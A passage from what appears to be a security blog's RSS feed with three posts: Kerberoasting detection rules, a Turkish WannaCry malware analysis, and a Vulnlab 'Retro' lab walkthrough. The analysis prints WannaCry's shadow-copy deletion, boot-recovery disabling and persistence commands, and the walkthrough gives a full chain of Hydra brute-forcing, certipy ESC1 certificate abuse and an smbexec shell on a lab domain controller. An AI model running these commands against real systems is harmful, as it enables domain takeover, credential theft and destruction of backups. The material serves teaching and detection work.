/></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0C7_uawA96fVVK6WOqioLg.png" /></figure><p><strong>Rubeus İle Hashin Ele Geçirilmesi</strong></p><pre>Rubeus.exe kerberoast /outfile:hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dciPgQMQAph96ROfP5cm0Q.png" /></figure><p><strong>Invoke-Kerberoast İle Hashin Ele Geçirilmesi</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urrH8PcQ4CwMjDhHjbCeog.png" /></figure><p><strong>Kerberoasting Saldırısı Mitigation Adımları</strong></p><p>→ Hizmet hesapları gMSA / Managed accounts’a taşınmalı</p><p>→ Gereksiz <strong>SPN</strong>’ler kaldırılmalı</p><p>→ Servis hesaplarına güçlü parolalar verilmeli</p><p>→ Kerberos şifreleme politikaları AES-only yapılmalı. RC4/NTLM’i sınırlanmalı</p><p>→ “Do not require preauth” seçeneği kapatılmalı</p><p>→ <strong>Konstrainded delegation</strong> (S4U) kullanılmalı; unconstrained delegation kaldırılmalı.</p><p><strong>Kerberoasting Saldırısı Tespiti</strong></p><p><strong>Sigma Kuralı</strong></p><pre>title: Possible Kerberoasting Attack Detection<br>id: d2fc9ba6-2516-49d9-86d6-359ce51ae0f7<br>status: experimental<br>description: |<br>    Kerberoasting is a post-exploitation attack technique that targets service accounts in Active Directory (AD) environments that use the Kerberos authentication protocol.<br>It allows an attacker who already has valid domain credentials (even a low-privileged user) to extract Kerberos service tickets (TGS) for service accounts and then crack them offline to recover the plaintext passwords of those accounts.<br>references:<br>    - https://adsecurity.org/?p=3513<br>author: Mustafa Gürkan KARAKAYA<br>tags:<br>    - attack.credential-access<br>    - attack.t1558.003<br>logsource:<br>    product: windows<br>    service: security<br>detection:<br>    selection:<br>        EventID: 4769<br>        Status: &#39;0x0&#39; # Translated as status from failure code field. Query only for successes<br>        TicketEncryptionType: &#39;0x17&#39; # RC4 ticket encryption type<br>    filter_main_krbtgt:<br>        ServiceName|endswith:<br>            - &#39;krbtgt&#39; # Ignore requests for the krbtgt service<br>            - &#39;$&#39; # Ignore requests from service names that end with $ which are associated with genuine kerberos traffic<br>    filter_main_machine_accounts:<br>        TargetUserName|contains: &#39;$@&#39; # Ignore requests from machines<br>    condition: selection and not 1 of filter_main_*<br>falsepositives:<br>    - Legacy applications.<br>level: high</pre><p><strong>QRADAR AQL SORGUSU İLE TESPİT</strong></p><pre>SELECT * FROM events WHERE devicetype=12 AND (EventID=4769 AND Status=&#39;0x0&#39; AND TicketEncryptionType=&#39;0x17&#39;) AND (NOT(((LOWER(ServiceName) LIKE &#39;%krbtgt&#39; OR LOWER(ServiceName) LIKE &#39;%$&#39;) OR LOWER(TargetUserName) LIKE &#39;%$@%&#39;)))</pre><p><strong>SPLUNK SPL İLE TESPİT</strong></p><pre>EventID=4769 Status=&quot;0x0&quot; TicketEncryptionType=&quot;0x17&quot; NOT (ServiceName IN (&quot;*krbtgt&quot;, &quot;*$&quot;) OR TargetUserName=&quot;*$@*&quot;)</pre><p><strong>ELASTİC ALERT İLE TESPİT</strong></p><pre>description: &quot;Kerberoasting is a post-exploitation attack technique that targets service accounts in Active Directory (AD) environments that use the Kerberos authentication protocol.<br>It allows an attacker who already has valid domain credentials (even a low-privileged user) to extract Kerberos service tickets (TGS) for service accounts and then crack them offline to recover the plaintext passwords of those accounts.&quot;<br>filter:<br>- query:<br>query_string:<br>query: (EventID:4769 AND Status:0x0 AND TicketEncryptionType:0x17) AND (NOT<br>((ServiceName:(*krbtgt OR *$)) OR TargetUserName:*$@*))<br>index: &#39;*&#39;<br>name: Kerberoasting Activity - Initial Query<br>priority: 2<br>type: any</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ce573fc023a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WannaCry Malware Analizi]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/wannacry-malware-analizi-715ebd665ad0?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/715ebd665ad0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Fri, 07 Mar 2025 06:18:03 GMT</pubDate>
            <atom:updated>2025-03-07T06:18:03.383Z</atom:updated>
            <content:encoded><![CDATA[<p>WannaCry, Mayıs 2017’de Windows’un SMBv1 protokolündeki EternalBlue güvenlik açığını kullanarak yayılan ve dosyaları şifreleyerek fidye talep eden bir fidye yazılımıdır (ransomware). 150’den fazla ülkeyi etkileyen saldırı, NHS, FedEx ve Renault gibi büyük kuruluşlara zarar vermiştir. Şifrelenen dosyaları açmak için Bitcoin ile ödeme talep eden yazılım, İngiliz güvenlik araştırmacısı Marcus Hutchins tarafından keşfedilen bir kill switch sayesinde durdurulmuştur. Microsoft, saldırıya karşı MS17–010 güvenlik yamasını yayımlayarak açığı kapatmıştır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/0*gE6awrPtAqyyW6-C.gif" /></figure><p><strong>Özet</strong></p><p>WannaCry, art arda çalıştırılan iki bileşenden oluşur ve sistemdeki dosyaları şifreleyerek SMB ve internet üzerinden aynı ağdaki diğer cihazlara yayılır.</p><p>Başlangıç dosyası çalıştırıldığında, yönetici ayrıcalıklarını kontrol eder ve belirli bir URL’ye bağlanmaya çalışır. Eğer yönetici erişimi sağlanmışsa ve URL’ye ulaşılamıyorsa, zararlı yazılım sistemdeki tüm dosyaları şifrelemeye devam eder.</p><p>Enfeksiyon belirtileri arasında, “Ooops, your important files are encrypted” mesajını içeren bir duvar kağıdı ve aşağıdaki dosyalar bulunmaktadır:</p><p>C:\Windows\tasksche.exe C:\Users%USER%\Desktop@Please_Read_Me@.txt C:\Users%USER%\Desktop@WanaDecryptor@.exe C:\Users%USER%\Desktop@WanaDecryptor@.bmp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*LYggd8N3kzNU5Raz.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/0*Se9V5YPE1RhXxGWK.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*ugKx6M_yRZ73UfnJ.png" /></figure><p>İlk aşama bileşeni çalıştırıldığında kontrol edilen iki ana kill-switch bulunur:</p><p>1.Belirtilen alan adına erişilip erişilemediğini doğrulamak:</p><p>“iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com”</p><p>2.Yönetici ayrıcalıklarıyla çalıştırılıp çalıştırılmadığını doğrulamak:</p><p>Eğer ilk kontrol başarılı olursa, process hiçbir işlem gerçekleştirmeden kapanır. Ancak, bu kontrol başarısız olursa, process “C:\Windows” dizini altında “tasksche.exe” adlı bir dosya oluşturmaya çalışır. Yönetici ayrıcalıkları olmadan çalıştırıldığında, bu işlem başarısız olur. Eğer dosya yönetici ayrıcalıklarıyla çalıştırılırsa ve ilk kontrol başarılı olursa, yine hiçbir işlem gerçekleştirilmez. Ancak, ilk kontrol başarısız olursa, zararlı yazılım beklenen şekilde çalışmaya devam eder.</p><p>ANALİZ</p><p>IDA pro aracı kullanarak malware’e ait stringleri kontrol edelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*53C5mIb_gCcbX2Bh.png" /></figure><p>hxxp[:]//www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com adresi yüksek olasılıkla WannaCry zararlısının kullandığı komuta kontrol sunucusuna ait. %s paramatresinin olması ise dynamic olarak oluşacak dosya isimlerine işaret etmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kK81YbYH3bJQARNK.png" /></figure><p>Imports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HsZRr89tUVUHSOBW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/0*_ETeHTYigg_m37yQ.png" /></figure><p>API importlarına dayanarak, fidye yazılımının “CreateServiceA” kullanarak bir servis oluşturma, “StartServiceCtrlDispatcherA” ile bir hizmet uygulamasını Hizmet Kontrol Yöneticisi’ne (SCM) bağlama, “send” ve “recv” kullanarak bağlı bir soket üzerinden veri gönderme ve alma, “GetAdaptersInfo” kullanarak bir bilgisayardaki ağ bağdaştırıcıları hakkında bilgi alma, “InternetOpenUrlA” kullanarak bir URL’ye bağlanma ve “MoveFileExA” kullanarak dosya ve dizinleri taşıma veya yeniden adlandırma yeteneklerine sahip olduğu görülmektedir.</p><p>Ayrıca, kriptografik işlebler kullanılmaktadır: “CryptAcquireContext” ile bir kriptografik hizmet sağlayıcısına (CSP) erişim sağlanır, “CryptGenKey” ile şifreleme için bir kriptografik anahtar oluşturulur, “CryptEncrypt” ile veriler bu anahtar kullanılarak şifrelenir, “CryptDecrypt” ile şifrelenmiş veriler çözümlenir, “CryptDestroyKey” ile işlem tamamlandığında anahtar imha edilir ve “CryptImportKey” ile gerektiğinde harici bir kaynaktan kriptografik anahtar içe aktarılır.</p><p>Capa çıktısına baktığımızda , fidye yazılımı Defense Evasion, Discovery, Persistence, Anti-behavioral and Static Analysis, Command and Control (C2), Cryptography, Data Execution, File System ve Process Handling ile ilgili Mitre aktivitelerine hit ettiğini görmekteyiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_Bzxhq97nx_uA6fR.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9qdVjSJBSUUEIrY5.png" /></figure><p>“wannacry.exe” adlı çalıştırılabilir dosyanın ana fonksiyonuna ait assembly kodunu incelediğimizde, bağlantı için WinINet API’sine ait fonksiyonların kullanıldığını gözlemlemekteyiz. “InternetOpenA” fonksiyonu, “InternetOpenUrlA” tarafından kullanılacak bir bağlantı oluşturur ve bu fonksiyon aşağıdaki URL’yi açmaktadır.:</p><p>“xttp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com”</p><p>Daha sonra, önceden oluşturulan bağlantıyı kapatmak için “InternetCloseHandle” fonksiyonunun kullanıldığını görmekteyiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/0*ZkjSZ3LMkuFkeEiE.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/0*p9wpwi-nuGPvPijP.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5e11jbDk_SBodnIb.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1HAjRHbHtwYaGaCo.png" /></figure><p>“test edi, edi” komutu, “edi” yazmacının sıfır olup olmadığını kontrol eder ve ardından gelen “jne 0x4081bc” komutu, eğer “edi” sıfır değilse, yani belirli bir değer içeriyorsa, programın “0x4081bc” adresine atlamasını sağlar. Bu bağlamda, “InternetOpenUrlA” fonksiyonunun döndürdüğü sonuç “edi” yazmacına kaydedildiğinde, eğer bu değer 0 değilse, yani URL’ye başarılı bir bağlantı sağlanmışsa, program belirtilen adrese atlayarak muhtemelen bağlantıyla ilgili sonraki işlemleri gerçekleştirir veya programdan çıkış işlemlerini yürütür. Ancak, eğer “edi” değeri 0 ise, yani bağlantı başarısız olmuşsa, program akışı “0x004081a7” adresine yönlendirilir. Bu adres, büyük olasılıkla zararlı yazılımın yükünü (payload) barındıran ve kötü amaçlı işlemlerin başladığı bölümdür. Böylece, programın yürütülmesi başarısız bir bağlantı durumunda farklı bir akış izleyerek kötü amaçlı kodun çalıştırılmasına yol açabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*c3-g1mdJZRgmMEpe.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9cUWDgGSGGe4BIT6.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jBaXY-5Wj4NX-BFf.png" /></figure><p>Çalıştırılan processleri incelediğimizde, cmd.exe sürecinin birden fazla kez çalıştırıldığını gözlemliyoruz. Bu çalıştırmalar sırasında, “tasksche.exe” adlı dosya çıkarılıp açıldıktan sonra C:\ProgramData dizinine export edilmektedir.. Ardından, dosya attrib parametresi ile gizlenerek standart kullanıcılar için daha az görünür hale getirilir. Ayrıca, tüm kullanıcılara everyone izinleri verilerek dosyanın herhangi bir kısıtlama olmadan değiştirilmesi sağlanır.</p><p>Bu hazırlık adımlarının ardından, .bat betiği ve .vbs betiği çalıştırılır. Bu betiklerin, kötü amaçlı işlemlerin otomatikleştirilmesi veya yürütülmesi açısından önemli bir rol oynadığı düşünülmektedir. Sistemde kalıcılığı sağlamak amacıyla belirli Windows Kayıt Defteri (Registry) anahtarları değiştirilir veya oluşturulur. Bu sayede, dosyanın veya ilgili betiklerin sistem başlangıcında otomatik olarak çalıştırılması mümkün hale gelir.</p><p>Ek olarak, adli incelemeyi zorlaştırmak ve kurtarma girişimlerini engellemek amacıyla, vssadmin ve wmic komutları kullanılarak mevcut shadow kopyaları silinir. Böylece, sistemdeki yedekleme dosyalarının ortadan kaldırılması sağlanarak, olası bir veri geri yükleme süreci sekteye uğratılır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n_tqBCotcsMJG0H2.png" /></figure><p>Yeni oluşturulmuş mssecsvc2.0 adlı servis, yerel ağ içinde yayılmak amacıyla 445 numaralı bağlantı noktasını (SMB protokolü) kullanırken gözlemlenebilir. Bu servis, Server Message Block (SMB) protokolü üzerinden iletişim kurarak, aynı ağdaki diğer sistemlere bulaşmaya çalışmaktadır. Bu yayılma mekanizması, genellikle kimlik bilgisi hırsızlığı veya yetkisiz erişim elde etmek için kullanılan bir yöntemdir.</p><p>Buna ek olarak, sistemde 9050 numaralı port açılmış olup, tasksvc.exe adlı süreç tarafından localhost (yerel sistem) üzerinde dinleme modunda çalıştırıldığı tespit edilmiştir. Bu bağlantı noktası, genellikle Tor ağı üzerinden trafiği yönlendirmek veya başka bir tür gizli haberleşme kanalı oluşturmak için kullanılır. Bu durum, kötü amaçlı yazılımın dış dünyayla bağlantı kurmasını veya bir saldırgan tarafından yönetilmesini sağlayan bir arka kapı (backdoor) mekanizması oluşturduğunu düşündürebilir.</p><p>Makinede Çalıştırılan Komutlar:</p><p>Ransomware.wannacry.exe -m security cmd.exe /c “C:\ProgramData\dmbpnjjuib647\tasksche.exe” attrib +h icacls . /grant Everyone:F /T /C /Q taskdl.exe cmd.exe /c start /b @WanaDecryptor@.exe vs cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v “dmbpnjjuib647” /t REG_SZ /d “\”C:\ProgramData\dmbpnjjuib647\tasksche.exe\”” /f cmd.exe /c vssadmin delete shadows /all /quiet &amp; wmic shadowcopy delete &amp; bcdedit /set {default} bootstatuspolicy ignoreallfailures &amp; bcdedit /set {default} recoveryenabled no &amp; wbadmin delete catalog -quiet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HTbjFIdks413fCSl.png" /></figure><p>Gelişmiş statik analiz sürecimize başlamak için, Cutter adlı aracı kullanalım. Cutter, bir ikili dosyanın (binary) tersine mühendislik işlemiyle incelenmesine olanak tanıyan, hem decompiler (ters derleyici) hem de disassembler (parçalarına ayırıcı) özelliklerine sahip güçlü bir analiz aracıdır. Bu araç sayesinde, çalıştırılabilir bir dosyanın assembly kodunu görüntüleyebilir ve içerisindeki işleyişi daha detaylı bir şekilde inceleyebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*2ooPbv0Hy6Ym61QH.gif" /></figure><p>Analiz sürecine, genellikle programın giriş noktası olan main() fonksiyonundan başlayalım. Bu fonksiyonun içeriğini incelediğimizde, Windows API fonksiyonlarından biri olan “InternetOpenA” çağrısının stack’e (yığına) aktarıldığını gözlemleyebiliriz. Bu fonksiyon, genellikle internet bağlantısı kurmak veya HTTP istekleri göndermek için kullanılır.</p><p>Bunun hemen ardından, JNE (Jump if Not Equal) komutunun yer aldığını fark edebiliriz. Bu komut, belirli bir koşul sağlanmadığında program akışının başka bir bellek adresine yönlendirilmesini sağlar. Yani, InternetOpenA fonksiyonunun dönüş değerine bağlı olarak, programın alternatif bir yürütme yoluna geçebileceği anlaşılıyor. Bu tür akış kontrol mekanizmaları, genellikle hata kontrolü, koşullu işlemler veya kötü amaçlı yazılımlarda analizden kaçınma teknikleri olarak karşımıza çıkabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OTqIus2xUo_un92l.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IU46hz60antCqOOz.png" /></figure><p>Yukarıdaki grafiği, özellikle sol tarafta bulunan bölümü dikkatlice incelediğimizde, bir başka fonksiyon çağrısının gerçekleştiğini görebiliriz. Bu durum, programın işleyişinin burada devam ettiğini ve yeni bir alt işlevin devreye girdiğini göstermektedir. Dolayısıyla, bu fonksiyonun içeriğini daha detaylı bir şekilde analiz ederek, programın nasıl ilerlediğini ve hangi işlemleri gerçekleştirdiğini anlamaya çalışalım.</p><p>Bu fonksiyon, büyük olasılıkla programın geri kalan yükünü (payload) içermektedir. Bunun nedeni, daha önce belirlenen koşulun sağlanması durumunda, pop komutunun devreye girerek daha önce stack’e (yığına) eklenmiş olan çağrıların temizlenmesiyle program akışının sonlandırılmasıdır. Başka bir deyişle, eğer belirlenen şart gerçekleşmiş olsaydı, programın burada sona ereceğini söyleyebilirdik. Ancak, bu fonksiyonun çağrılması, programın tamamlanmadığını ve yürütme sürecinin devam ettiğini gösteriyor.</p><p>Bu noktada, fonksiyonun içerisindeki işlemleri ayrıntılı olarak inceleyerek, programın hangi verileri işlediğini, hangi sistem çağrılarını yaptığı ve potansiyel olarak zararlı bir aktivite içerip içermediğini değerlendirebiliriz. Bu tür analizler, özellikle kötü amaçlı yazılımların davranışlarını anlamak ve onların gizlenme veya analizden kaçınma tekniklerini ortaya çıkarmak açısından son derece kritik bir rol oynar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wP6vxybAJvtIiSjz.png" /></figure><p>Yukarıdaki kod akışını incelediğimizde, “fcn.00407f20” fonksiyonunun çağrıldığını ve bu fonksiyonun içerisinde yürütme sürecinin büyük bir kısmını oluşturan iki farklı fonksiyon çağrısının daha bulunduğunu görebiliriz.</p><p>İlk fonksiyon, “Microsoft_security_center_2.0” adlı servisin sistemde oluşturulmasından sorumludur. Bu servis, muhtemelen kötü amaçlı bir yazılımın kalıcılığını sağlamak veya belirli görevleri otomatik olarak yürütmek amacıyla tasarlanmıştır.</p><p>Diğer fonksiyon ise, “tasksche.exe” dosyasının sistemde açılmasını ve çıkarılmasını gerçekleştirir. Bu işlemin ardından, C:\ProgramData dizini altında ilgili dosyanın yerleştirileceği yeni bir alt dizin oluşturulur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/0*HXbq0hIHUkesGk4d.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GcOMvgo7DfPMmK0M.png" /></figure><p>Service create edilip başlatılıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9FxJ-tbo9gyA3xBo.png" /></figure><p>tasksche.exe zararlısı unpacking adımları:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D0SIjOguNz_x6UbY.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3Eg1ahc23vAYn2Q8.png" /></figure><p>Programı Çalıştırıp Entry Point Noktasını Bulalım</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n2-2X7xeak0DV_Wi.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V9K6oLbbaExN4sAV.png" /></figure><p>Main Function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J0NvIE5Qqs92lCG_.png" /></figure><p>IoC:</p><p>hxxp[:]//www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c taskhsvc.exe listening over localhost port 9050 command line parameter “-m security” New service creation by the name of “mssecsvc2.0” C:\ProgramData\dmbpnjjuib647\tasksche.exe ihdfrgui.exe</p><p>Yara Kuralı:</p><p>rule WannaCry {</p><pre>meta:<br>    description = &quot;YARA rule detection for WannaCry&quot;<br>    </pre><pre>strings:<br>    $s1 = &quot;http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com&quot; ascii<br>    $s2 = &quot;%s -m security&quot;<br>    $s3 = &quot;C:\%s\qeriuwjhrf&quot;<br>    $s4 = &quot;mssecsvc.exe&quot;<br>    $s5 = &quot;icacls . /grant Everyone:F /T /C /Q&quot;<br>    $s6 = &quot;cmd.exe /c start /b @WanaDecryptor@.exe vs&quot;<br>    $s7 = &quot;cmd.exe /c vssadmin delete shadows /all /quiet &amp; wmic shadowcopy delete&quot;<br>    $s8 = &quot;tasksche.exe&quot;</pre><pre>condition:<br>    all of them }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*hH8YrHo5jPtMPvxq.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=715ebd665ad0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab Retro]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/vulnlab-retro-8619ce689663?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/8619ce689663</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Mon, 11 Nov 2024 09:38:06 GMT</pubDate>
            <atom:updated>2024-11-11T09:38:06.702Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ca7zkdPHal4A3_D6uEfNBw.png" /></figure><p><em>First, we gather information about open ports and services on the target system using nmap.</em></p><ol><li><strong>Reconnaissance with Nmap</strong></li></ol><pre>nmap -A -T4 -Pn 10.10.90.119</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OcFt3_NOzMA33hTQfFqutg.png" /></figure><pre>smbclient -L 10.10.90.119</pre><blockquote><em>In the results of our Nmap scan, we observe that SMB is open on the target system. The next step is to verify whether we can access and view the available shares over SMB without needing to authenticate. This will help us understand if there are any exposed shares that could be accessible without credentials</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9xsI_4q34GX0Z9RQwYheQ.png" /></figure><pre>smbclient //10.10.90.119/Notes -U &quot;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNlzWexWMSMu0HIbyFlOgw.png" /></figure><pre>smbclient //10.10.90.119/Trainees -U &quot;&quot;</pre><blockquote>Among the listed shares, if there is one that we have access to, let’s examine it further. We should verify the contents and permissions associated with this share to assess if any sensitive information or misconfigurations are exposed</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXXwIf0Pkg56jusuzmaUtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OW6WR6C9TT3ZgTW0q6dhwA.png" /></figure><pre>impacket-lookupsid retro.vl/&#39;Guest&#39;@10.10.90.119 -domian-sids -no-pass</pre><blockquote>Let’s gather information about other groups and users in the domain using the Guest account.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YKdzjWAMRh6OY5OobylnA.png" /></figure><pre>498: RETRO\Enterprise Read-only Domain Controllers (SidTypeGroup)<br>500: RETRO\Administrator (SidTypeUser)<br>501: RETRO\Guest (SidTypeUser)<br>502: RETRO\krbtgt (SidTypeUser)<br>512: RETRO\Domain Admins (SidTypeGroup)<br>513: RETRO\Domain Users (SidTypeGroup)<br>514: RETRO\Domain Guests (SidTypeGroup)<br>515: RETRO\Domain Computers (SidTypeGroup)<br>516: RETRO\Domain Controllers (SidTypeGroup)<br>517: RETRO\Cert Publishers (SidTypeAlias)<br>518: RETRO\Schema Admins (SidTypeGroup)<br>519: RETRO\Enterprise Admins (SidTypeGroup)<br>520: RETRO\Group Policy Creator Owners (SidTypeGroup)<br>521: RETRO\Read-only Domain Controllers (SidTypeGroup)<br>522: RETRO\Cloneable Domain Controllers (SidTypeGroup)<br>525: RETRO\Protected Users (SidTypeGroup)<br>526: RETRO\Key Admins (SidTypeGroup)<br>527: RETRO\Enterprise Key Admins (SidTypeGroup)<br>553: RETRO\RAS and IAS Servers (SidTypeAlias)<br>571: RETRO\Allowed RODC Password Replication Group (SidTypeAlias)<br>572: RETRO\Denied RODC Password Replication Group (SidTypeAlias)<br>1000: RETRO\DC$ (SidTypeUser)<br>1101: RETRO\DnsAdmins (SidTypeAlias)<br>1102: RETRO\DnsUpdateProxy (SidTypeGroup)<br>1104: RETRO\trainee (SidTypeUser)<br>1106: RETRO\BANKING$ (SidTypeUser)<br>1107: RETRO\jburley (SidTypeUser)<br>1108: RETRO\HelpDesk (SidTypeGroup)<br>1109: RETRO\tblack (SidTypeUser)</pre><pre>hydra -l &#39;trainee&#39; -P /usr/share/wordlists/rockyou.txt ldap2://10.10.90.119:389 -V</pre><p><em>Using the Hydra tool, let’s attempt to discover the password for the user ‘trainee,’ whose username we previously identified. We will use the Rockyou password list to perform a brute-force attack, systematically testing possible passwords to see if we can successfully authenticate and gain access with this account.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Z3p4cz9_RtmfNR5S8dYng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-k1fs_4SfmRsDcE4rOnCYw.png" /></figure><pre>smbclient //10.10.90.119/Notes -U &quot;trainee&quot;</pre><p>Now that we have successfully found the password for the trainee user, let’s proceed to attempt accessing and viewing the contents of the shared resource that was previously inaccessible to us. This will allow us to examine any files or data within the share that might now be available with the credentials we’ve obtained</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ppHOPmgPvaSG_H8PnezXqg.png" /></figure><p>The note suggests that we should specifically focus on pre-computer accounts, directing our attention to these as a priority. This likely implies that these accounts may hold important information or require further analysis in the context of our assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A68Ll1-A9V52WSt3OYS81g.png" /></figure><pre>bloodhound-python -d &#39;retro.vl&#39; -u &#39;trainee&#39; -p &#39;trainee&#39; -c all -ns 10.10.90.119 --zip --use-laps</pre><p>Let’s use the BloodHound tool to enumerate and list all objects, resources, and permissions that the trainee user has access to within the domain. This will help us gain a clearer understanding of the extent of their privileges and identify any potential areas where they may have access to sensitive or critical assets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbIc5j9g72vioCGM9Jov2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ey6ZVsxVbvbrTKeb1pl7mg.png" /></figure><pre>impacket-changepasswd retro.vl/banking$:banking@10.10.90.119 -dc-ip 10.10.90.119 -altuser &quot;trainee&quot; -altpass &quot;trainee&quot; -newpass pass123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M9M7jYkmw9gbqo2PchBQFg.png" /></figure><pre>crackmapexec smb  10.10.90.119 -u &#39;banking$&#39; -p &#39;pass123&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ENOv2LJNkGZMVp0Fd30jyw.png" /></figure><pre>certipy-ad find -username &#39;banking$&#39;@retro.vl -password &#39;pass123&#39; -dc-ip 10.10.90.119 -vulnerable -nabled -stdout</pre><h3>ESC1 ADCS Exploitation</h3><pre>certipy-ad find -username &#39;banking$&#39;@retro.vl -password &#39;pass123&#39; -dc-ip 10.10.90.119 -vulnerable -nabled -stdout</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMxgYI2QyqwBauh2nHhwXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*30g4p2jMrlywSZy-V03f7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fgn_kmNQDvqC86J-Q3QeDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JqFopvdjE1GYKvyxlQURiQ.png" /></figure><pre>certipy-ad req -u &#39;banking$&#39;@retro.vl -p &#39;pass123&#39; -dc-ip 10.10.90.119 -target DC.retro.vl -ca retro-DC-CA -template RetroClients -upn Administrator@retvo.vl -key-size 4096</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uClas9EYSFbrIkntl1Kqkw.png" /></figure><pre>certipy-ad auth -dc-ip 10.10.90.119 -domain &#39;retro.vl&#39; -username Administrator -pfx administrator.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L70_l6e9knUjbq_biWA0zw.png" /></figure><pre>impacket-smbexec -shell-type powershell -dc-ip 10.10.90.119 -hashes .. retro.vl/Administrator@10.10.90.119</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCekkIth5WtpfcDGUW1XQQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8619ce689663" width="1" height="1" alt="">]]></content:encoded>
